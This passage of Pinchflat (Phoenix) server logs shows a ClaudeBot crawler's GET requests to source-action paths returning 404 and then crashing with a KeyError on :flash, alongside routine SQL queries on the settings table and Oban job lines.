"216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309974.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 34682}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309973.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpKbHDFOXG29kADOaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :ca (truncated) 22:01:52.063 [debug] QUERY OK source="settings" db=4.7ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:52.066 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:01:52.069 [info] Sent 200 in 18ms 22:02:00.196 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:17.531 [info] {"source":"oban","duration":2175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:40.520 [info] GET /sources/1/force_index 22:02:40.520 [info] GET /sources/1/force_redownload 22:02:40.522 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=1325.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:40.522 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1325.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:40.523 [debug] QUERY OK source="settings" db=0.8ms idle=1327.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:40.524 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:02:40.524 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=580.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:40.525 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:02:40.524 [error] #PID<0.1309999.0> running PinchflatWeb.Endpoint (connection #PID<0.1309996.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38502}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309999.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpNPrN3I0Owr8ADOay"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38502}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309996.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38502}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309999.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpNPrN3I0Owr8ADOay"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [fil (truncated) 22:02:40.525 [error] #PID<0.1309997.0> running PinchflatWeb.Endpoint (connection #PID<0.1309993.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38488}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309997.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpNPrN3JwOkJIADkjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38488}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 38488}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309997.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgpNPrN3JwOkJIADkjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 5 (truncated) 22:02:47.533 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.197 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:17.535 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}